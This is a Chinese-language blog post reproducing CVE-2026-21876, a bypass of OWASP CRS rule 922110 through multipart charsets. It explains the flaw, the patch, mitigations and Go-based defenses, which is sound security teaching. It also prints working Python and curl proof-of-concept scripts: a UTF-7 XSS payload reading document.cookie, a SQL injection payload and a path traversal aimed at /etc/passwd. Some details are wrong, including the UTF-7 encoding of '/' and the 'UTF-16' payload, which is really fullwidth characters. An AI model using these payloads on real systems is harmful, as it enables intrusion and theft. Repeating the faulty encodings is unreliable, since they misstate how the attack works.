CVE-2026-21876 深度复现:OWASP CRS 规则 922110 multipart 字符集绕过让 WAF 彻底失效
2026 年 1 月 6 日,OWASP 核心规则集(CRS)团队披露了一个影响规则 922110 的严重安全漏洞。CVE-2026-21876 的 CVSS 评分为 9.3,是近年来发现的最严重的 Web 应用防火墙(WAF)绕过漏洞之一。
如果你正在运行 ModSecurity 与 OWASP CRS(从统计数据来看,如果你有 WAF,很可能就是这种情况),你需要了解此漏洞并立即修补。
漏洞概述
| 属性 | 值 |
|---|---|
| CVE 编号 | CVE-2026-21876 |
| CVSS 评分 | 9.3(严重) |
| 影响范围 | CRS 3.0.0 ~ 4.21.0(所有受支持版本) |
| 修复版本 | CRS 4.22.0 / CRS 3.3.8 |
| 影响引擎 | ModSecurity 2.x、3.x / libmodsecurity / Coraza(所有版本) |
| 攻击向量 | 网络(无需认证、无需用户交互) |
| 攻击复杂度 | 低 |
规则 922110 在偏执等级 1(Paranoia Level 1)下默认启用,这意味着如果你使用 CRS,你就容易受到攻击,除非你明确禁用了此规则(这种情况极少发生)。
攻击方式:比想象的更简单
这个漏洞之所以特别危险,在于其利用方式极其简单。攻击者只需发送一个包含多个部分的 multipart HTTP 请求,在第一部分放置恶意字符集编码(如 UTF-7),在最后一部分放置合法字符集(如 UTF-8):
POST /api/comment HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Host: target-site.com
------WebKitFormBoundary
Content-Disposition: form-data; name="comment"
Content-Type: text/plain; charset=utf-7
+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-
------WebKitFormBoundary
Content-Disposition: form-data; name="dummy"
Content-Type: text/plain; charset=utf-8
legitimate_data
------WebKitFormBoundary--第一部分中看似无意义的乱码?那正是 UTF-7 编码后的 <script>alert(document.cookie)</script>。在补丁发布之前,你的 WAF 会放行该请求。
UTF-7 编码原理与攻击利用
什么是 UTF-7
UTF-7 是一种可变长度编码,设计用于在仅支持 7 位 ASCII 的传输通道中传递 Unicode 字符。它使用 + 作为编码起始标记,- 作为结束标记,中间是 Modified Base64 编码的 Unicode 数据。
# UTF-7 编码解码示例
def utf7_encode(text: str) -> str:
"""将字符串编码为 UTF-7"""
result = []
in_encoded = False
buffer = ""
for char in text:
if ord(char) < 128:
# ASCII 可直接传递
if in_encoded:
# 结束编码块
result.append(buffer + "-")
buffer = ""
in_encoded = False
result.append(char)
else:
# 需要编码
if not in_encoded:
result.append("+")
in_encoded = True
buffer += base64_encode_char(char)
if in_encoded:
result.append(buffer + "-")
return "".join(result)
# 关键编码示例
# < → +ADw-
# > → +AD4-
# / → +ADw-
# " → +ACI-
# 因此 <script>alert(document.cookie)</script>
# 编码为:+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-为什么 UTF-7 对 WAF 特别危险
UTF-7 XSS 是一种有据可查的攻击技术。大多数现代 XSS 过滤器都专注于检测 UTF-8 中的 <script> 标签和 JavaScript 模式,对 UTF-7 "视而不见":
# WAF 正则匹配:检测 <script> 标签
# 旧版规则只检测 UTF-8/ASCII 编码
dangerous_pattern = r'<script[^>]*>|javascript:|onerror\s*=|onload\s*='
# UTF-7 编码后的载荷完全绕过此匹配
utf7_payload = "+ADw-script+AD4-alert(1)+ADw-/script+AD4-"
# re.search(dangerous_pattern, utf7_payload) → None ✅ 绕过成功
# 但浏览器(老旧 IE)解码后:
# decoded → "<script>alert(1)</script>" ← XSS 触发同样的原理也适用于其他危险编码:
- UTF-16 和 UTF-32:可绕过 SQL 注入过滤器
- Shift-JIS、EUC-JP:可实现字符集混淆攻击
- 任何非标准字符集:都有安全绕过的潜在风险
漏洞根源:链式规则迭代的致命缺陷
规则 922110 的设计初衷是在 WAF 层捕获这些攻击,在它们到达应用程序之前进行拦截。它应该只允许安全的字符集(UTF-8、ISO-8859-1、ISO-8859-15、Windows-1252),并阻止其他所有字符集。但实际上,它并未生效。
该漏洞并非由草率的编码或拼写错误引起,而是三个设计元素之间微妙交互的结果:
- ModSecurity 的链式规则处理
- 集合变量迭代
- 全局捕获变量行为
存在漏洞的规则代码
SecRule MULTIPART_PART_HEADERS "@rx ^content-type\s*:\s*(.*)$" \
"id:922110,phase:2,block,capture,chain"
SecRule TX:1 "!@rx ^(?:...allowed charsets...)$" \
"block"看起来合理:父规则查找 Content-Type 头部,将字符集值捕获到 TX:1 中,然后链式规则对其进行验证。
致命缺陷:迭代覆盖
当 ModSecurity 对集合(如包含多个部分的 MULTIPART_PART_HEADERS)处理规则时,它会遍历所有成员,每次覆盖捕获变量,然后只使用最后一次捕获的值执行链式规则一次。
对于包含恶意 charset 的 multipart 请求:
迭代 1:TX:1 = "text/plain; charset=utf-7" ← 攻击载荷
迭代 2:TX:1 = "text/plain; charset=utf-8" ← 覆盖!
链式规则检查:TX:1 = "text/plain; charset=utf-8" ← 只看到合法部分
结果:攻击绕过验证 ✅第一部分中的恶意 UTF-7 载荷被完全忽略。
ModSecurity 集合迭代机制详解
ModSecurity 的 MULTIPART_PART_HEADERS 是一个集合变量,包含 multipart 请求中每个部分的头部信息。当规则操作符(如 @rx)作用于集合变量时,ModSecurity 会遍历所有集合成员:
假设 multipart 请求包含 3 个部分:
MULTIPART_PART_HEADERS = {
"Content-Type: text/plain; charset=utf-7", // 部分 1(恶意)
"Content-Type: text/plain; charset=utf-8", // 部分 2(合法)
"Content-Type: text/plain; charset=iso-8859-1" // 部分 3(合法)
}
父规则处理流程:
1. 匹配第 1 个成员 → TX:1 = "charset=utf-7"(捕获)
2. 匹配第 2 个成员 → TX:1 = "charset=utf-8"(覆盖前值)
3. 匹配第 3 个成员 → TX:1 = "charset=iso-8859-1"(再次覆盖)
4. 链式规则执行 → 只验证 TX:1 = "charset=iso-8859-1" → 合法 → 放行!问题核心:捕获变量的生命周期跨越整个集合迭代,而链式规则只在迭代完成后执行一次。这是 ModSecurity 的设计决策(性能优化),而非 Bug——但它在安全场景下产生了灾难性后果。
完整 PoC 复现
环境搭建
# 1. 安装 ModSecurity + Apache
apt-get install -y apache2 libmodsecurity3 modsecurity-crs
# 2. 启用 ModSecurity
cd /etc/modsecurity
cp modsecurity.conf-recommended modsecurity.conf
# 修改 SecRuleEngine DetectionOnly → SecRuleEngine On
# 3. 检查 CRS 版本
grep "ver:'OWASP_CRS/" /usr/share/modsecurity-crs/rules/REQUEST-922-MULTIPART-ATTACK.conf
# 如果显示版本 < 4.22.0 或 < 3.3.8 → 你受影响
# 4. 检查规则 922110 是否启用
grep "id:922110" /usr/share/modsecurity-crs/rules/REQUEST-922-MULTIPART-ATTACK.conf
# 偏执等级 1 默认启用 → 大多数安装都会受影响XSS 绕过 PoC
#!/usr/bin/env python3
"""
CVE-2026-21876 PoC:UTF-7 charset WAF bypass
通过 multipart 请求前部嵌入 UTF-7 编码载荷,后部放置合法 charset
绕过 OWASP CRS 规则 922110 的字符集检查
"""
import requests
TARGET = "http://target-site.com/api/comment"
# UTF-7 编码的 XSS 载荷
# <script>alert(document.cookie)</script>
# → +ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-
utf7_xss_payload = "+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-"
# 构造 multipart 请求
# 关键:恶意 charset 在前部,合法 charset 在后部
multipart_data = {
"comment": (None, utf7_xss_payload, "text/plain; charset=utf-7"),
"dummy": (None, "legitimate_data", "text/plain; charset=utf-8"),
}
response = requests.post(TARGET, files=multipart_data)
print(f"Status: {response.status_code}")
print(f"Response: {response.text[:200]}")
# 如果 WAF 正常工作,应该返回 403
# 但 CVE-2026-21876 存在时,请求被放行SQL 注入绕过 PoC
#!/usr/bin/env python3
"""
CVE-2026-21876 PoC:SQL 注入 UTF-16 编码 WAF bypass
"""
import requests
TARGET = "http://target-site.com/api/search"
# UTF-16 编码的 SQL 注入载荷
# ' OR 1=1 -- → UTF-16 编码后
sql_payload = "\uff07\uff20\uff4f\uff52\uff20\uff11\uff3d\uff11\uff20\uff2d\uff2d"
multipart_data = {
"query": (None, sql_payload, "text/plain; charset=utf-16le"),
"safe_field": (None, "normal_data", "text/plain; charset=utf-8"),
}
response = requests.post(TARGET, files=multipart_data)
print(f"Status: {response.status_code}")Shift-JIS 字符集混淆 PoC
#!/usr/bin/env python3
"""
CVE-2026-21876 PoC:Shift-JIS 字符集混淆绕过
利用 Shift-JIS 的多字节特性混淆 WAF 检测
"""
import requests
TARGET = "http://target-site.com/api/upload"
# Shift-JIS 中 0x5C 被解释为日文字符的一部分
# 但在某些上下文中 0x5C = 反斜杠 → 可用于路径穿越
path_traversal = "..\x5c..\x5c..\x5c/etc/passwd"
multipart_data = {
"file_path": (None, path_traversal, "text/plain; charset=shift_jis"),
"description": (None, "normal description", "text/plain; charset=utf-8"),
}
response = requests.post(TARGET, files=multipart_data)自动化检测脚本
#!/bin/bash
# CVE-2026-21876 自动检测脚本
# 检查你的 CRS 版本是否受影响
TARGET_SITE="${1:?Usage: $0 <target_url>}"
echo "=== CVE-2026-21876 检测 ==="
echo "目标: $TARGET_SITE"
# 检查 CRS 版本(如果可访问)
echo -e "\n[1] 检查本地 CRS 版本"
if [ -f "/usr/share/modsecurity-crs/rules/REQUEST-922-MULTIPART-ATTACK.conf" ]; then
CRS_VER=$(grep "ver:'OWASP_CRS/" /usr/share/modsecurity-crs/rules/REQUEST-922-MULTIPART-ATTACK.conf | head -1)
echo "CRS 版本: $CRS_VER"
# 检查修复规则是否存在
if grep -q "id:922140" /usr/share/modsecurity-crs/rules/REQUEST-922-MULTIPART-ATTACK.conf; then
echo "✅ 修复已应用(规则 922140/922150 存在)"
else
echo "❌ 修复未应用(规则 922140/922150 不存在)→ 你受影响!"
fi
else
echo "⚠️ 无法访问本地 CRS 配置"
fi
# 发送测试请求
echo -e "\n[2] 发送 UTF-7 绕过测试请求"
UTF7_PAYLOAD="+ADw-script+AD4-alert('CVE-2026-21876-test')+ADw-/script+AD4-"
RESPONSE=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "$TARGET_SITE" \
-F "comment=$UTF7_PAYLOAD;type=text/plain;charset=utf-7" \
-F "dummy=legitimate;type=text/plain;charset=utf-8")
if [ "$RESPONSE" = "403" ]; then
echo "✅ WAF 正常拦截(状态码 403)"
elif [ "$RESPONSE" = "200" ]; then
echo "❌ WAF 绕过成功(状态码 200)→ CVE-2026-21876 可能存在!"
else
echo "⚠️ 异常响应(状态码 $RESPONSE)"
fi
echo -e "\n=== 检测完成 ==="修复方案解析
OWASP CRS 团队以令人印象深刻的速度交付了修复方案——从 1 月 2 日发现到 1 月 6 日发布补丁版本。修复方案的工程优雅性值得深入学习。
核心挑战
当 ModSecurity 的链式规则行为只让你看到最后一部分时,如何检查所有 multipart 部分?
修复方案:分步存储 + 模式匹配验证
# 步骤 1:初始化计数器
SecRule &MULTIPART_PART_HEADERS "@gt 0" \
"id:922140,pass,setvar:'tx.multipart_headers_content_counter=0'"
# 步骤 2:将每个字符集捕获到唯一变量
SecRule MULTIPART_PART_HEADERS "@rx ^content-type\s*:\s*(.*)$" \
"id:922150,pass,capture,setvar:'tx.multipart_headers_content_types_%{tx.counter}=%{tx.1}',setvar:'tx.counter=+1'"
# 步骤 3:使用正则表达式模式匹配验证所有捕获的值
SecRule TX:/MULTIPART_HEADERS_CONTENT_TYPES_*/ "!@rx ^(?:...allowed charsets...)$" \
"id:922110,block"修复方案的设计精髓:
- 分步捕获:不再在链式规则中直接验证,而是先将每个字符集值存储到唯一编号的变量中(
TX:multipart_headers_content_types_0、TX:multipart_headers_content_types_1等) - 模式匹配验证:使用
TX:/MULTIPART_HEADERS_CONTENT_TYPES_*/正则匹配模式,一次性验证所有存储的值 - 任何部分不合法 → 阻止整个请求
这种方法:
- ✅ 检查所有部分,不仅仅是最后一个
- ✅ 处理重复的部分名称(计数器确保唯一性)
- ✅ 适用于所有正则表达式引擎(无需前瞻或反向引用)
- ✅ 性能开销极小
- ✅ 向后兼容
修复规则的工作流程对比
旧规则 922110(有漏洞):
┌──────────────────────────────────────────────────┐
│ MULTIPART_PART_HEADERS = [charset=utf-7, utf-8] │
│ │
│ 父规则迭代: │
│ 迭代 1 → TX:1 = "charset=utf-7" │
│ 迭代 2 → TX:1 = "charset=utf-8" ← 覆盖! │
│ │
│ 链式规则验证 TX:1 = "charset=utf-8" → 合法 → 放行│
│ ❌ 漏洞:恶意 charset=utf-7 未被检查 │
└──────────────────────────────────────────────────┘
新规则 922140 + 922150 + 922110(修复后):
┌──────────────────────────────────────────────────┐
│ MULTIPART_PART_HEADERS = [charset=utf-7, utf-8] │
│ │
│ 922140:初始化 counter = 0 │
│ │
│ 922150 迭代: │
│ 迭代 1 → TX:mhct_0 = "charset=utf-7" │
│ 迭代 2 → TX:mhct_1 = "charset=utf-8" │
│ (每个值存储到独立变量,不覆盖) │
│ │
│ 922110:验证 TX:/mhct_*/ 所有变量 │
│ TX:mhct_0 = "charset=utf-7" → ❌ 不合法 → 阻止│
│ ✅ 修复:恶意 charset 被独立检查 │
└──────────────────────────────────────────────────┘如何保护自己
立即行动
升级到已修补的版本:
# CRS 4.x 用户
cd /usr/share/modsecurity-crs
git pull origin v4.22.0
# 或直接下载
wget https://github.com/coreruleset/coreruleset/releases/download/v4.22.0/coreruleset-4.22.0.tar.gz
# CRS 3.3.x 用户
wget https://github.com/coreruleset/coreruleset/releases/download/v3.3.8/coreruleset-3.3.8.tar.gz验证修复
# 检查 CRS 版本
grep "ver:'OWASP_CRS/" /path/to/rules/REQUEST-922-MULTIPART-ATTACK.conf
# 应显示版本 4.22.0 或 3.3.8+
# 验证新的辅助规则是否存在
grep "id:922140" /path/to/rules/REQUEST-922-MULTIPART-ATTACK.conf
grep "id:922150" /path/to/rules/REQUEST-922-MULTIPART-ATTACK.conf
# 如果这两个规则存在,修复已应用临时缓解措施(无法立即升级时)
如果无法立即升级,可以通过自定义规则暂时缓解:
# 临时缓解:严格验证所有 multipart 部分的 charset
# 在 CRS 规则加载之前添加此规则
SecRule MULTIPART_FILENAME "!@rx ^$" \
"id:999001,phase:2,pass,nolog"
SecRule MULTIPART_PART_HEADERS "@rx charset\s*=\s*(utf-7|utf-16|utf-32|shift_jis|euc-jp)" \
"id:999002,phase:2,block,msg:'Potential charset bypass attempt',severity:CRITICAL"这个临时规则不如官方修复优雅,但能阻止最常见的 UTF-7 和其他非标准字符集攻击。
日志审查
# 检查 WAF 日志中过去是否有可疑的 multipart 请求
grep "multipart" /var/log/apache2/modsec_audit.log | \
grep -i "charset" | \
grep -v "charset=utf-8" | \
tail -50
# 检查是否有 UTF-7 相关请求
grep -i "utf-7" /var/log/apache2/modsec_audit.log漏洞为何存在多年
令人不安的真相:自规则 922110 引入以来,该漏洞就已存在,并影响了所有受支持的 CRS 版本。
一个严重的安全缺陷如何在最广泛部署的 WAF 规则集中"潜伏"多年?
完美风暴:
- 触发条件组合:需要 multipart 数据 + 多个部分 + 非最后位置包含恶意字符集
- ModSecurity 行为微妙:集合链式规则行为虽有文档,但相当晦涩
- 测试盲区:测试主要集中在单部分场景,多部分边缘场景未被覆盖
- 攻击知识门槛:基于字符集的绕过不如 SQL 注入常见,容易被忽视
- 发现者:研究员 "some0ne" 在思考字符集问题时进行小规模实验发现了此漏洞
有时,最有影响力的漏洞并非通过大规模扫描发现,而是通过对边缘情况的创造性思考。
对安全架构的启示
1. 纵深防御仍然关键
WAF 被绕过了,但 WAF 本就不应该是唯一的防线。如果应用程序存在 XSS 漏洞,并被此绕过利用,那你面临更大的问题——应用层安全才是根本。
安全架构层次:
┌────────────────────────────────────┐
│ 第 1 层:应用层安全 │ ← 根本防线
│ (输入验证、输出编码、CSP) │
├────────────────────────────────────┤
│ 第 2 层:WAF │ ← 辅助防线
│ (OWASP CRS、ModSecurity) │
├────────────────────────────────────┤
│ 第 3 层:网络层安全 │ ← 基础防线
│ (防火墙、IDS/IPS) │
└────────────────────────────────────┘
CVE-2026-21876 绕过第 2 层 → 第 1 层必须独立有效2. WAF 规则需要持续维护
许多组织将 WAF 规则视为"一劳永逸"的基础设施。此漏洞证明了这种做法的危险性。WAF 规则更新应成为常规补丁管理流程的一部分。
3. 测试对抗性边缘场景
常见测试覆盖 vs 缺失场景:
✅ 已覆盖:
- 单部分 multipart 请求
- 标准 UTF-8 字符集
- 明文 XSS/SQLi 载荷
❌ 缺失(CVE-2026-21876 所在):
- 多部分 multipart 请求
- 非标准字符集(UTF-7/UTF-16)
- 不同部分顺序的攻击载荷
- 重复字段名4. 理解安全工具的底层行为
有多少安全工程师真正理解 ModSecurity 如何处理链式规则?有多少人读过集合变量迭代的文档?
关键知识点:
- ModSecurity 集合变量迭代时,捕获变量会被覆盖而非追加
- 链式规则在迭代完成后只执行一次
TX:variable是全局的,跨规则共享- 集合变量的成员数量取决于请求的 multipart 部分数量
Go 开发者的安全视角
如果你用 Go 开发 Web 服务,此漏洞也值得关注——即使你不使用 ModSecurity:
// Go multipart 处理中的字符集安全检查
func validateCharset(part *multipart.Part) error {
// 获取 Content-Type 头部
contentType := part.Header.Get("Content-Type")
// 解析字符集参数
_, params, err := mime.ParseMediaType(contentType)
if err != nil {
return fmt.Errorf("invalid content-type: %v", err)
}
charset := params["charset"]
// 只允许安全字符集
allowedCharsets := map[string]bool{
"utf-8": true,
"iso-8859-1": true,
"iso-8859-15": true,
"windows-1252": true,
"us-ascii": true,
}
if charset != "" && !allowedCharsets[charset] {
return fmt.Errorf("disallowed charset: %s", charset)
}
return nil
}
// 完整 multipart 安全处理器
func safeMultipartHandler(r *http.Request) error {
reader, err := r.MultipartReader()
if err != nil {
return err
}
for {
part, err := reader.NextPart()
if err == io.EOF {
break
}
if err != nil {
return err
}
// 验证每个部分的字符集
if err := validateCharset(part); err != nil {
return fmt.Errorf("charset validation failed: %v", err)
}
// 读取内容并验证(即使字符集合法,也要检查内容)
content, err := io.ReadAll(io.LimitReader(part, 1<<20)) // 限制 1MB
if err != nil {
return err
}
// 对解码后的内容进行 XSS/SQLi 检查
if containsXSSPayload(string(content)) {
return fmt.Errorf("XSS payload detected in part %s", part.FormName())
}
}
return nil
}CSP 作为补充防御
即使 WAF 被绕过,Content Security Policy(CSP)可以阻止 XSS 执行:
// 在 HTTP 响应中添加严格 CSP
func addCSPHeaders(w http.ResponseWriter) {
w.Header().Set("Content-Security-Policy",
"default-src 'self'; "+
"script-src 'self'; "+
"style-src 'self' 'unsafe-inline'; "+
"object-src 'none'; "+
"base-uri 'self'; "+
"form-action 'self'")
}UTF-7 XSS 依赖浏览器解码后执行 <script> 标签。严格的 CSP 会阻止内联脚本执行,即使载荷到达了前端——纵深防御的第二层生效。
总结
CVE-2026-21876 是一个深刻的安全教训:
| 层面 | 教训 |
|---|---|
| 技术设计 | ModSecurity 集合迭代 + 捕获覆盖的微妙交互导致安全规则失效 |
| 安全架构 | WAF 不是唯一防线,应用层安全 + CSP 是纵深防御的关键 |
| 测试覆盖 | 多部分、非标准字符集、边缘顺序等对抗性场景必须纳入测试 |
| 运维实践 | WAF 规则需要持续维护和更新,不能视为"一劳永逸" |
| 修复工程 | OWASP CRS 团队的分步存储 + 模式匹配验证修复方案展示了优雅的安全工程 |
如果你正在运行 OWASP ModSecurity CRS,请立即升级到 4.22.0 或 3.3.8。 这不是一个"有空再打补丁"的漏洞——攻击执行极其简单,影响非常严重,修复方案已发布并经过测试。

